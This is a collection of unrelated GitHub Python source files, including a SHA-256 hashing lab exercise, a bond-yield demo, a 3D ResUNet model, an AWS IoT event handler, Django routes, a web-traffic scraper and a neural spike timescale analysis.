{"seq_id":"5106069507","text":"import hashlib\n\n# Nombre del archivo de entrada y salida\narchivo_entrada = \"SGSSI-23.CB.02.txt\"\narchivo_salida = \"SGSSI-23.CB.02_modificado.txt\"\n\n# Leer el contenido del archivo de entrada\nwith open(archivo_entrada, 'r') as entrada:\n    contenido = entrada.read()\n\n# Generar la secuencia de 8 caracteres en hexadecimal\nsecuencia_hexadecimal = 'aabbccdd'\n\n# Identificador público del estudiante\nidentificador_estudiante = '87'\n\n# Crear la línea adicional\nlinea_adicional = f'{secuencia_hexadecimal}-{identificador_estudiante}-100'\n\n# Crear el archivo de salida y escribir el contenido\nwith open(archivo_salida, 'w') as salida:\n    salida.write(contenido)\n    salida.write('\\n' + linea_adicional)\n\n# Calcular el resumen SHA-256 del archivo de salida\nsha256 = hashlib.sha256()\nwith open(archivo_salida, 'rb') as archivo:\n    while True:\n        fragmento = archivo.read(4096)\n        if not fragmento:\n            break\n        sha256.update(fragmento)\n\n# Verificar si el resumen SHA-256 comienza con \"0\"\nresumen = sha256.hexdigest()\nif resumen.startswith(\"0\"):\n    print(f'Se ha creado el archivo {archivo_salida} con éxito.')\nelse:\n    print(f'El resumen SHA-256 no comienza con \"0\".')\n\nprint(f'Resumen SHA-256: {resumen}')\n","repo_name":"ainaraaescrii/SGSSI-23.AESC","sub_path":"LABORATORIOS/LAB05/Actividad1/Actividad1.py","file_name":"Actividad1.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"27483913364","text":"from yield_measures import YieldMeasures\n\n\"\"\"\nYield to maturity is similar to current yield, which divides annual cash inflows from a bond by\nthe market price of that bond to determine how much money one would make by buying a bond and\nholding it for one year. Yet, unlike current yield, YTM accounts for the present value of a\nbond's future coupon payments. In other words, it factors in the time value of money, whereas\na simple current yield calculation does not. As such, it is often considered a more thorough\nmeans of calculating the return from a bond.\n(Source: Investopedia)\n\n\"\"\"\n\nif __name__ == \"__main__\":\n    coupon_rate = 0.05\n    market_price = 1000\n    face_value = 1200\n\n    bond = YieldMeasures(face_value=face_value, market_price=market_price, coupon_rate=coupon_rate)\n    print(bond.current_yield())\n\n    print('\\n')\n\n    YTM = bond.yield_to_maturity(n=12)\n\n    if YTM > coupon_rate:\n        print('Because the coupon rate is higher than the YTM, the bond trades at a premium.\\n')\n        print(YTM)\n    else:\n        print('Because the coupon rate is lower than the YTM, the bond trades at a discount.\\n')\n        print(YTM)\n","repo_name":"ljsmalbil/BondYields","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"30618734284","text":"\n# -*- coding: utf-8 -*-\n\"\"\"\n#reference https://github.com/assassint2017/MICCAI-LITS2017/blob/master/README.md\n\"\"\"\n\n\nimport os\nimport sys\nimport logging\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom .helpers import build_model_with_cfg\nfrom .registry import register_model\n\n__all__ = ['ResUNet_3d']\n\n\ndef _cfg(url='', **kwargs):\n    return {\n        'url': url,\n        # 'interpolation': 'trilinear',\n        'num_classes': 1000,\n        **kwargs\n    }\n\n\ndefault_cfgs = {\n    \"resunet_3d\\tctliver\": _cfg(\n        url='https://github.com/songphilips/ptimz/releases/download/v0.0.1-hrnet/resunet-3d-net990-0.013-0.018.pth',\n        input_details='CT [lits17]',\n        slice_thickness=1,\n        first_conv='encoder_stage1.0',\n        num_classes=1, input_size=(1, 256, 256), last_layer=('map1.0','map2.0','map3.0','map4.0')),\n}\n\ndef _build_resunet_3d(pretrained_name,  in_chans=1, num_classes=1,  **kwargs):\n    pretrained = False if pretrained_name is False or pretrained_name is None else True\n    if 'training' in kwargs.keys():\n        train_act = kwargs.get('training')\n    else:\n        train_act = False\n    return build_model_with_cfg(ResUNet_3d, variant='resunet3d', pretrained=pretrained,\n                                default_cfg=default_cfgs.get(pretrained_name, None),\n                                # model config\n                                in_channels=in_chans,\n                                num_classes=num_classes,\n                                training = train_act)\ndef _check_pretrained(pretrained, netname='resunet_3d'):\n    if pretrained is True:\n        pretrained = False\n    elif isinstance(pretrained, str):\n        pretrained = netname + '\\t' + pretrained\n        if pretrained not in default_cfgs.keys():\n            _logger = logging.getLogger(__name__)\n            _logger.warning(f\"There is no {pretrained} pretrained weights, use random initialization.\")\n            pretrained = False\n    return pretrained\n\nclass ResUNet_3d(nn.Module):\n\n    def __init__(self, training=False,in_channels=1,num_classes=1):\n        super().__init__()\n\n        self.training = training\n        self.in_channels = in_channels\n        self.num_classes = num_classes #foreground classes, not include background class\n\n        assert self.in_channels == 1, 'Input channel should be 1. Multi-channel input will be available in further update'\n\n        self.encoder_stage1 = nn.Sequential(\n            nn.Conv3d(self.in_channels, 16, 3, 1, padding=1),\n            nn.PReLU(16),\n\n            nn.Conv3d(16, 16, 3, 1, padding=1),\n            nn.PReLU(16),\n        )\n\n        self.encoder_stage2 = nn.Sequential(\n            nn.Conv3d(32, 32, 3, 1, padding=1),\n            nn.PReLU(32),\n\n            nn.Conv3d(32, 32, 3, 1, padding=1),\n            nn.PReLU(32),\n\n            nn.Conv3d(32, 32, 3, 1, padding=1),\n            nn.PReLU(32),\n        )\n\n        self.encoder_stage3 = nn.Sequential(\n            nn.Conv3d(64, 64, 3, 1, padding=1),\n            nn.PReLU(64),\n\n            nn.Conv3d(64, 64, 3, 1, padding=2, dilation=2),\n            nn.PReLU(64),\n\n            nn.Conv3d(64, 64, 3, 1, padding=4, dilation=4),\n            nn.PReLU(64),\n        )\n\n        self.encoder_stage4 = nn.Sequential(\n            nn.Conv3d(128, 128, 3, 1, padding=3, dilation=3),\n            nn.PReLU(128),\n\n            nn.Conv3d(128, 128, 3, 1, padding=4, dilation=4),\n            nn.PReLU(128),\n\n            nn.Conv3d(128, 128, 3, 1, padding=5, dilation=5),\n            nn.PReLU(128),\n        )\n\n        self.decoder_stage1 = nn.Sequential(\n            nn.Conv3d(128, 256, 3, 1, padding=1),\n            nn.PReLU(256),\n\n            nn.Conv3d(256, 256, 3, 1, padding=1),\n            nn.PReLU(256),\n\n            nn.Conv3d(256, 256, 3, 1, padding=1),\n            nn.PReLU(256),\n        )\n\n        self.decoder_stage2 = nn.Sequential(\n            nn.Conv3d(128 + 64, 128, 3, 1, padding=1),\n            nn.PReLU(128),\n\n            nn.Conv3d(128, 128, 3, 1, padding=1),\n            nn.PReLU(128),\n\n            nn.Conv3d(128, 128, 3, 1, padding=1),\n            nn.PReLU(128),\n        )\n\n        self.decoder_stage3 = nn.Sequential(\n            nn.Conv3d(64 + 32, 64, 3, 1, padding=1),\n            nn.PReLU(64),\n\n            nn.Conv3d(64, 64, 3, 1, padding=1),\n            nn.PReLU(64),\n\n            nn.Conv3d(64, 64, 3, 1, padding=1),\n            nn.PReLU(64),\n        )\n\n        self.decoder_stage4 = nn.Sequential(\n            nn.Conv3d(32 + 16, 32, 3, 1, padding=1),\n            nn.PReLU(32),\n\n            nn.Conv3d(32, 32, 3, 1, padding=1),\n            nn.PReLU(32),\n        )\n\n        self.down_conv1 = nn.Sequential(\n            nn.Conv3d(16, 32, 2, 2),\n            nn.PReLU(32)\n        )\n\n        self.down_conv2 = nn.Sequential(\n            nn.Conv3d(32, 64, 2, 2),\n            nn.PReLU(64)\n        )\n\n        self.down_conv3 = nn.Sequential(\n            nn.Conv3d(64, 128, 2, 2),\n            nn.PReLU(128)\n        )\n\n        self.down_conv4 = nn.Sequential(\n            nn.Conv3d(128, 256, 3, 1, padding=1),\n            nn.PReLU(256)\n        )\n\n        self.up_conv2 = nn.Sequential(\n            nn.ConvTranspose3d(256, 128, 2, 2),\n            nn.PReLU(128)\n        )\n\n        self.up_conv3 = nn.Sequential(\n            nn.ConvTranspose3d(128, 64, 2, 2),\n            nn.PReLU(64)\n        )\n\n        self.up_conv4 = nn.Sequential(\n            nn.ConvTranspose3d(64, 32, 2, 2),\n            nn.PReLU(32)\n        )\n\n        \n        self.map4 = nn.Sequential(\n            nn.Conv3d(32, self.num_classes, 1, 1),\n            nn.Upsample(scale_factor=(1, 2, 2), mode='trilinear'),\n            nn.Sigmoid()\n        )\n\n        \n        self.map3 = nn.Sequential(\n            nn.Conv3d(64, self.num_classes, 1, 1),\n            nn.Upsample(scale_factor=(2, 4, 4), mode='trilinear'),\n            nn.Sigmoid()\n        )\n\n       \n        self.map2 = nn.Sequential(\n            nn.Conv3d(128, self.num_classes, 1, 1),\n            nn.Upsample(scale_factor=(4, 8, 8), mode='trilinear'),\n            nn.Sigmoid()\n        )\n\n        \n        self.map1 = nn.Sequential(\n            nn.Conv3d(256, self.num_classes, 1, 1),\n            nn.Upsample(scale_factor=(8, 16, 16), mode='trilinear'),\n            nn.Sigmoid()\n        )\n\n    def forward(self, inputs):\n\n        long_range1 = self.encoder_stage1(inputs) + inputs\n\n        short_range1 = self.down_conv1(long_range1)\n\n        long_range2 = self.encoder_stage2(short_range1) + short_range1\n        long_range2 = F.dropout(long_range2, 0.3, self.training)\n\n        short_range2 = self.down_conv2(long_range2)\n\n        long_range3 = self.encoder_stage3(short_range2) + short_range2\n        long_range3 = F.dropout(long_range3, 0.3, self.training)\n\n        short_range3 = self.down_conv3(long_range3)\n\n        long_range4 = self.encoder_stage4(short_range3) + short_range3\n        long_range4 = F.dropout(long_range4, 0.3, self.training)\n\n        short_range4 = self.down_conv4(long_range4)\n\n        outputs = self.decoder_stage1(long_range4) + short_range4\n        outputs = F.dropout(outputs, 0.3, self.training)\n\n        output1 = self.map1(outputs)\n\n        short_range6 = self.up_conv2(outputs)\n\n        outputs = self.decoder_stage2(torch.cat([short_range6, long_range3], dim=1)) + short_range6\n        outputs = F.dropout(outputs, 0.3, self.training)\n\n        output2 = self.map2(outputs)\n\n        short_range7 = self.up_conv3(outputs)\n\n        outputs = self.decoder_stage3(torch.cat([short_range7, long_range2], dim=1)) + short_range7\n        outputs = F.dropout(outputs, 0.3, self.training)\n\n        output3 = self.map3(outputs)\n\n        short_range8 = self.up_conv4(outputs)\n\n        outputs = self.decoder_stage4(torch.cat([short_range8, long_range1], dim=1)) + short_range8\n\n        output4 = self.map4(outputs)\n\n        if self.training is True:\n            return output1, output2, output3, output4\n        else:\n            return output4\n\n\ndef init(module):\n    if isinstance(module, nn.Conv3d) or isinstance(module, nn.ConvTranspose3d):\n        nn.init.kaiming_normal_(module.weight.data, 0.25)\n        nn.init.constant_(module.bias.data, 0)\n\n\n\n@register_model\ndef resunet_3d(pretrained=False, **kwargs):\n    pretrained = _check_pretrained(pretrained, f'resunet_3d')\n    model = _build_resunet_3d(pretrained, **kwargs)\n    if pretrained is False:\n        model.apply(init)\n    return model\n\n\n\n","repo_name":"RimeT/ptimz","sub_path":"ptimz/model_zoo/resunet3d.py","file_name":"resunet3d.py","file_ext":"py","file_size_in_byte":8365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"35819873496","text":"import json\nimport boto3\nfrom botocore.exceptions import ClientError\n\ndef update_thing_event(props):\n    type = str(props['Type'])\n    enable = True if str(props['Enable']).lower() == 'true' else False\n\n    print('update thing event: requested', type, enable)\n\n    try:\n        client = boto3.client('iot')\n        response = client.update_event_configurations(\n            eventConfigurations={\n                type: {\n                    'Enabled': enable\n                }\n            }\n        )\n        print('update thing event: success', response)\n        return type + '-' + str(enable)\n    except Exception as e:\n        print(\"update thing event: fail\", e)\n        return None\n\n\ndef disable_thing_event(id):\n    print('disable thing event: requested')\n\n    try:\n        client = boto3.client('iot')\n        response = client.update_event_configurations(\n            eventConfigurations={\n                type: {\n                    'Enabled': False\n                }\n            }\n        )\n        print('update thing event: success', response)\n        return 'ok'\n    except Exception as e:\n        print(\"update thing event: fail\", e)\n        return None\n\n\ndef handle(event, context):\n    print('event-->', json.dumps(event))\n\n    request_type = event['RequestType']\n    physical_id = None\n\n    if request_type == 'Create':\n        physical_id = update_thing_event(event['ResourceProperties'])\n    elif request_type == 'Delete':\n        physical_id = event['PhysicalResourceId']\n    elif request_type == 'Update':\n        physical_id = update_thing_event(event['ResourceProperties'])\n\n    if physical_id != None:\n        return { 'PhysicalResourceId': physical_id }\n    else:\n        raise Exception('Fail to handl iot-event-message')\n","repo_name":"aws-samples/aws-iot-greengrass-v2-using-aws-cdk","sub_path":"codes/lambda/custom_iot_event_msg/src/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":1748,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"18"}
{"seq_id":"23365752008","text":"\"\"\" Tasks file for making things easier to test \"\"\"\nimport shutil\nfrom pathlib import Path\nfrom invoke.tasks import task\n\n\n@task()\ndef lint(ctx):\n    \"\"\"\n    Linting step.\n\n    :param ctx: Context\n    :type ctx: Context\n    \"\"\"\n    ctx.run('pylint *')\n\n\n@task()\ndef build(ctx):\n    \"\"\"\n    Build step.\n\n    :param ctx: Context\n    :type ctx: Context\n    \"\"\"\n    ctx.run('pyinstaller -F --uac-admin --icon=\"./resources/ToGif.ico\" --clean main.py')\n    dist_dir = Path('ImageToGif')\n    dist_file = dist_dir.joinpath('main.exe')\n    new_file = dist_dir.joinpath('ImageToGif.exe')\n    if new_file.exists():\n        new_file.unlink()\n    dist_file.rename(new_file)\n    readme = Path('readme.txt')\n    shutil.copy2(readme, dist_dir.joinpath(readme))\n","repo_name":"crisosphinx/GifConverter","sub_path":"tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24539592693","text":"from django.urls import path\n\nfrom myapp import views\napp_name = 'myapp'\nurlpatterns = [\n    path(r'', views.index, name='index'),\n    path(r'about/', views.about, name='about'),\n    path(r'<int:id>', views.details, name='detail'),\n    path(r'courses/', views.courses, name='courses'),\n    path(r'place_order/', views.place_order, name='place_order'),\n    path(r'courses/<int:cour_id>/', views.course_detail, name='course_detail')\n]\n","repo_name":"jay14399/ElearningWebApp-Django-Project","sub_path":"myapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24636144768","text":"# -*- coding: utf-8 -*-\n\nimport requests;\nimport json;\nimport xlrd, xlwt;\nfrom xlutils.copy import copy;\n\n# 获取流量数据\ndef flux_stast(self,st,et,siteid,phpsessid,umplus_uc_token,ism):\n    url = \"https://web.umeng.com/main.php?c=flow&a=trend&ajax=module%3Dsummary%7Cmodule%3DfluxList_currentPage%3D1_pageType%3D30&siteid=%d&st=%s&et=%s&_=1539154064131\";\n    headers = {\n        'user-agent':'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',\n        'cookie' : 'PHPSESSID=%s;umplus_uc_token=%s;'%(phpsessid,umplus_uc_token)\n    }\n    resp = requests.get(url%(siteid,st,et),headers);\n    content = json.loads(resp.content);\n    res = {}\n    if st == et :\n        item = content[\"data\"][\"summary\"][\"item\"]\n        if ism :\n            da = [item[\"pv\"], item[\"uv\"], item[\"ip\"]];\n        else:\n            da = [item[\"pv\"], item[\"uv\"], item[\"ip\"], item[\"averageupv\"], item[\"session\"], item[\"averagestime\"],\n                  item[\"outper\"]];\n        res = {item[\"st\"]:da};\n    else:\n        items = content[\"data\"][\"fluxList\"][\"item\"]\n        for item in items :\n            if ism :\n                da = [item[\"pv\"], item[\"uv\"], item[\"ip\"]];\n            else:\n                da = [item[\"pv\"], item[\"uv\"], item[\"ip\"], item[\"averageupv\"], item[\"session\"], item[\"averagestime\"],\n                      item[\"outper\"]];\n            res[item[\"key\"]] = da;\n    return res;\n\ndef edit_excel01(items):\n    wb = xlrd.open_workbook(\"C:\\\\Users\\\\huatu\\\\Desktop\\\\神策\\\\流量统计_腰果公考.xlsx\");\n    wbn = copy(wb);\n    ws = wbn.get_sheet(0)\n\n    ws.write(1, 6, items[\"pv\"])\n    ws.write(2, 6, items[\"uv\"])\n    ws.write(3, 6, items[\"ip\"])\n    ws.write(4, 6, items[\"averageupv\"])\n    ws.write(5, 6, items[\"session\"])\n    ws.write(6, 6, items[\"averagestime\"])\n    ws.write(7, 6, items[\"outper\"])\n\n\narr = []\narr.append(1)\n\nprint(arr)","repo_name":"kelly0108/pythonTest","sub_path":"webtraffic/FluxStats.py","file_name":"FluxStats.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22654994659","text":"import webapp2\nimport jinja2\nfrom google.appengine.api import users\nfrom google.appengine.ext import ndb\nimport os\nimport csv\n\nfrom myuser import MyUser\nfrom mySquad import MySquad\nfrom userModel import UserModel\nfrom userSignUp import UserSignUp\nfrom userProfile import UserProfile\nfrom payments import Payments\nfrom scoring import Scoring\nfrom rules import Rules\nfrom playerStats import PlayerStats\nfrom playerProfile import PlayerProfile\nfrom buildSquad import BuildSquad\nfrom betting import Betting\nfrom betResults import BetResults\nfrom bettingMarkets import BettingMarkets\nfrom myBets import MyBets\nfrom adminPage import AdminPage\nfrom addMarkets import AddMarkets\nfrom updateMarkets import UpdateMarkets\nfrom addPlayersData import AddPlayersData\nfrom blobCollection import BlobCollection\nfrom uploadHandler import UploadHandler\n\n\nJINJA_ENVIRONMENT = jinja2.Environment(\n    loader=jinja2.FileSystemLoader(os.path.dirname(__file__)),\n    extensions=['jinja2.ext.autoescape'],\n    autoescape=True\n)\n\nclass MainPage(webapp2.RequestHandler):\n    def get(self):\n        self.response.headers['Content-Type'] = 'text/html'\n\n        url = ''\n        url_string = ''\n        welcome = 'Welcome back'\n\n        img = '/static/champions.jpg'\n\n        user = users.get_current_user()\n        logout = users.create_logout_url('/')\n        admin = False\n\n        if user:\n            url = users.create_logout_url(self.request.uri)\n            url_string = 'logout'\n\n            myuser_key = ndb.Key('MyUser', user.user_id())\n            myuser = myuser_key.get()\n\n            if users.is_current_user_admin():\n                welcome = 'Welcome'\n\n                myuser = MyUser(id=user.user_id(), email = user.email(), username = 'admin')\n                myuser.put()\n\n                admin_key = ndb.Key('UserModel', myuser.username)\n                admin_user = admin_key.get()\n\n                admin_user = UserModel(id = myuser.username,\n                                        email = user.email(),\n                                        username = myuser.username,\n                                        name = 'Administrator')\n                admin_user.put()\n                admin = True\n\n            if myuser == None:\n                welcome = 'Welcome'\n                myuser = MyUser(id=user.user_id(), email = user.email())\n                myuser.put()\n\n        else:\n            url = users.create_login_url(self.request.uri)\n            url_string = 'login'\n\n\n        template_values = {'url' : url,\n                            'url_string' : url_string,\n                            'user' : user,\n                            'admin' : admin,\n                            'img' : img,\n                            'welcome' : welcome,\n                            'logout' : logout}\n\n        template = JINJA_ENVIRONMENT.get_template('main.html')\n        self.response.write(template.render(template_values))\n\n\n# starts the web application we specify the full routing table here as well\napp = webapp2.WSGIApplication([('/', MainPage),\n                                ('/userSignUp', UserSignUp),\n                                ('/userProfile', UserProfile),\n                                ('/payments', Payments),\n                                ('/scoring', Scoring),\n                                ('/rules', Rules),\n                                ('/playerStats', PlayerStats),\n                                ('/playerProfile', PlayerProfile),\n                                ('/adminPage', AdminPage),\n                                ('/addMarkets', AddMarkets),\n                                ('/updateMarkets', UpdateMarkets),\n                                ('/addPlayersData', AddPlayersData),\n                                ('/buildSquad', BuildSquad),\n                                ('/betting', Betting),\n                                ('/betResults', BetResults),\n                                ('/upload', UploadHandler)], debug=True)\n","repo_name":"bejoysimon/MasterThesis","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3967,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3443052495","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan  7 15:44:55 2021\n\n@author: zachz\n\"\"\"\n\n#%% Imports\n\nimport numpy as np\nimport scipy.io as spio\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import curve_fit\nimport random\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n#%% Load in data (trying amygdala here)\n\namy = spio.loadmat('/Users/zachz/Dropbox/Timescales across species/Spiketimes only/Faraut - Human MTL/faraut_amygdala.mat',simplify_cells=True)\n\nspikes = amy['spikes'] / 10**6\n\ntry:\n   cell_info = acc['cell_info']\nexcept NameError:\n   pass\n\n#%% Choose a random start point and 1 sec after, estimate timescale from this\n  # Then repeat 250x per unit to simulate 250 trials\n\n  # Do it 100 times\n\nrepeated_taus = []\n\nfor repeat in range(100):\n\n    print('now on repeat %i' %repeat)\n\n    faraut_amyg_all_means = []\n    faraut_amyg_taus = []\n    faraut_amyg_failed_fits = []\n\n    faraut_amyg_failed_autocorr = []\n    faraut_amyg_no_spikes_in_a_bin = []\n    faraut_amyg_low_fr = []\n\n    faraut_amyg_avg_fr = []\n    faraut_amyg_correlation_matrices = []\n\n    for unit in range(len(spikes)):\n\n        binned_unit_spikes = []\n\n        for iteration in range(250):\n\n        # Get spikes from random interval of 1s\n\n            this_unit = spikes[unit]\n\n            min_t = np.min(this_unit)\n            max_t = np.max(this_unit)\n\n            start_t = random.uniform(min_t,max_t)\n            end_t = start_t + 1\n\n            rand_spikes = []\n\n            for spike in range(len(this_unit)):\n\n                if start_t <= this_unit[spike] < end_t:\n\n                    rand_spikes.append(this_unit[spike])\n\n            # Bin spikes in 50ms bins\n\n            bins = np.linspace(start_t,end_t,20)\n\n            binned, bin_edges = np.histogram(rand_spikes,bins=bins)\n\n            binned_spikes = binned\n\n            binned_unit_spikes.append(binned_spikes)\n\n        binned_unit_spikes = np.vstack(binned_unit_spikes)\n\n        [trials,bins] = binned_unit_spikes.shape\n\n        summed_spikes_per_bin = np.sum(binned_unit_spikes,axis=0)\n\n        faraut_amyg_avg_fr.append(np.sum(summed_spikes_per_bin)/trials)\n\n        #%% Do autocorrelation\n\n        one_autocorrelation = []\n\n        for i in range(bins):\n            for j in range(bins):\n                ref_window = binned_unit_spikes[:,i]\n                test_window = binned_unit_spikes[:,j]\n\n                correlation = np.corrcoef(ref_window,test_window)[0,1]\n\n                one_autocorrelation.append(correlation)\n\n        if np.isnan(one_autocorrelation).any() == True:\n\n            faraut_amyg_failed_autocorr.append(unit) # skip this unit if any autocorrelation fails\n\n        elif [summed_spikes_per_bin[bin] == 0 for bin in range(len(summed_spikes_per_bin))] == True:\n\n            faraut_amyg_no_spikes_in_a_bin.append(unit) # skip this unit if any bin doesn't have spikes\n\n        elif np.sum(summed_spikes_per_bin) < 1:\n\n            faraut_amyg_low_fr.append(unit) # skip this unit if avg firing rate across all trials is < 1\n\n        else:\n\n            #%% Reshape list of autocorrelations into 19x19 matrix, plot it\n\n            correlation_matrix = np.reshape(one_autocorrelation,(-1,19))\n\n            faraut_amyg_correlation_matrices.append(correlation_matrix)\n\n            # plt.imshow(correlation_matrix)\n            # plt.title('Human amygdala unit %i' %unit)\n            # plt.xlabel('lag')\n            # plt.ylabel('lag')\n            # plt.xticks(range(0,19))\n            # plt.yticks(range(0,19))\n            # plt.show()\n\n            #%% Fit exponential decay\n\n            # shift correlation matrix over so that all 1's are at x=0\n            new_corr = []\n\n            for i in range(18):\n                new_corr.append(correlation_matrix[i,i:])\n\n            new_corr = np.array(new_corr)\n\n            new_lag = []\n\n            for i in range(19,0,-1):\n                new_lag.append(np.array(range(i)))\n\n            new_lag = np.array(new_lag)\n\n            new_corr = np.hstack(new_corr)\n            new_lag = np.hstack(new_lag)\n            new_lag = new_lag[:-1]\n\n            # plt.scatter(new_lag,new_corr)\n            # plt.ylabel('autocorrelation')\n            # plt.xlabel('lag (ms)')\n\n            #%% Remove 0 lag time and sort values for curve fitting\n\n            no_1_corr = np.delete(new_corr,np.where(new_corr>=0.9))\n            no_1_corr = no_1_corr[~ np.isnan(no_1_corr)]\n            no_0_lag = np.delete(new_lag,np.where(new_lag==0))\n\n            no_0_lag = no_0_lag * 50\n\n            x = no_0_lag\n            y = no_1_corr\n\n            x = np.array(x, dtype=float)\n            y = np.array(y, dtype=float)\n\n            sorted_pairs = sorted((i,j) for i,j in zip(x,y))\n\n            x_s = []\n            y_s = []\n\n            for q in range(len(sorted_pairs)):\n                x_q = sorted_pairs[q][0]\n                y_q = sorted_pairs[q][1]\n\n                x_s.append(x_q)\n                y_s.append(y_q)\n\n            x_s = np.array(x_s)\n            y_s = np.array(y_s)\n\n            # plt.plot(x_s,y_s,'ro')\n            # plt.title('Human amygdala unit %i' %unit)\n            # plt.xlabel('lag (ms)')\n            # plt.ylabel('autocorrelation')\n            # plt.show()\n\n            #%% get means and std\n\n            from statistics import mean, stdev\n            from itertools import groupby\n\n            grouper = groupby(sorted_pairs, key=lambda x: x[0])\n            #The next line is again more elegant, but slower:\n            mean_pairs = [[x, mean(yi[1] for yi in y)] for x,y in grouper]\n            std_pairs = [[x,stdev(yi[1] for yi in y)] for x,y in grouper]\n\n            x_m = []\n            y_m = []\n\n            for w in range(len(mean_pairs)):\n                x_w = mean_pairs[w][0]\n                y_w = mean_pairs[w][1]\n\n                x_m.append(x_w)\n                y_m.append(y_w)\n\n            x_m = np.array(x_m)\n            y_m = np.array(y_m)\n\n            # Only start fitting when slope is decreasing\n\n            diff = np.diff(x_m)\n\n            neg_diffs = []\n\n            for dif in range(len(diff)):\n\n                if diff[dif] >= 0:\n\n                    neg_diffs.append(dif)\n\n            first_neg_diff = np.min(neg_diffs)\n\n            first_neg_diff = int(first_neg_diff)\n\n            def func(x,a,tau,b):\n                return a*((np.exp(-x/tau))+b)\n\n            try:\n                pars,cov = curve_fit(func,x_m[first_neg_diff:],y_m[first_neg_diff:],p0=[1,100,1],bounds=((0,np.inf)),maxfev=5000)\n\n            except RuntimeError:\n                print(\"Error - curve_fit failed\")\n                faraut_amyg_failed_fits.append(unit)\n\n            faraut_amyg_taus.append(pars[1])\n\n            faraut_amyg_all_means.append(y_m)\n\n            # plt.plot(x_m,y_m,'ro',label='original data')\n            # plt.plot(x_m[first_neg_diff:],func(x_m[first_neg_diff:],*pars),label='fit')\n            # plt.xlabel('lag (ms)')\n            # plt.ylabel('mean autocorrelation')\n            # plt.title('Human amygdala %i' %unit)\n            # plt.legend()\n            # plt.show()\n\n    #%% How many units got filtered?\n\n    faraut_amyg_bad_units = len(faraut_amyg_failed_autocorr) + len(faraut_amyg_no_spikes_in_a_bin) + len(faraut_amyg_low_fr)\n\n    print('%i units were filtered out' %faraut_amyg_bad_units)\n    print('out of %i total units' %len(spikes))\n\n    #%% Take mean of all units\n\n    faraut_amyg_all_means = np.vstack(faraut_amyg_all_means)\n\n    faraut_amyg_mean = np.mean(faraut_amyg_all_means,axis=0)\n    faraut_amyg_sd = np.std(faraut_amyg_all_means,axis=0)\n    faraut_amyg_se = faraut_amyg_sd/np.sqrt(len(faraut_amyg_mean))\n\n    def func(x,a,tau,b):\n        return a*((np.exp(-x/tau))+b)\n\n    neg_mean_diffs = []\n\n    mean_diff = np.diff(faraut_amyg_mean)\n\n    for diff in range(len(mean_diff)):\n\n        if mean_diff[diff] <= 0:\n\n            neg_mean_diffs.append(diff)\n\n    first_neg_mean_diff = np.min(neg_mean_diffs)\n\n    faraut_amyg_pars,cov = curve_fit(func,x_m[first_neg_mean_diff:],faraut_amyg_mean[first_neg_mean_diff:],p0=[1,100,1],bounds=((0,np.inf)))\n\n    repeated_taus.append(faraut_amyg_pars[1])\n\n    # plt.plot(x_m,faraut_amyg_mean,label='original data')\n    # plt.plot(x_m[first_neg_mean_diff:],func(x_m[first_neg_mean_diff:],*faraut_amyg_pars),label='fit curve')\n    # plt.legend(loc='upper right')\n    # plt.xlabel('lag (ms)')\n    # plt.ylabel('mean autocorrelation')\n    # plt.title('Mean of all human amygdala units \\n Faraut (simulated trials)')\n    # plt.text(710,0.11,'tau = %i' %faraut_amyg_pars[1])\n    # plt.show()\n\n    #%% Histogram of taus\n\n    # plt.hist(np.log(faraut_amyg_taus))\n    # plt.axvline(faraut_amyg_pars[1],color='r',linestyle='dashed',linewidth=1)\n    # plt.xlabel('log(tau)')\n    # plt.ylabel('count')\n    # plt.title('%i human amygdala units \\n Faraut (simulated trials)' %len(faraut_amyg_taus))\n    # plt.show()\n\n    #%% Correlation matrix\n\n    # faraut_amyg_mean_matrix = np.mean(faraut_amyg_correlation_matrices,axis=0)\n\n    # plt.imshow(faraut_amyg_mean_matrix)\n    # plt.tight_layout()\n    # plt.title('Faraut Amygdala \\n  (simulated trials)')\n    # plt.xlabel('lag (ms)')\n    # plt.ylabel('lag (ms)')\n    # plt.xticks(range(0,20,2),range(0,1000,100))\n    # plt.yticks(range(0,20,2),range(0,1000,100))\n    # plt.colorbar()\n    # plt.show()\n\n#%% Distribution of simulated taus\n\nplt.hist(np.log(repeated_taus))\nplt.xlabel('log(tau)')\nplt.ylabel('count')\nplt.title('100 repeats of 250 simulated trials per unit')\nplt.show()\n","repo_name":"doublezz10/timescales_analysis","sub_path":"Faraut/randomly_choose_time_periods.py","file_name":"randomly_choose_time_periods.py","file_ext":"py","file_size_in_byte":9431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
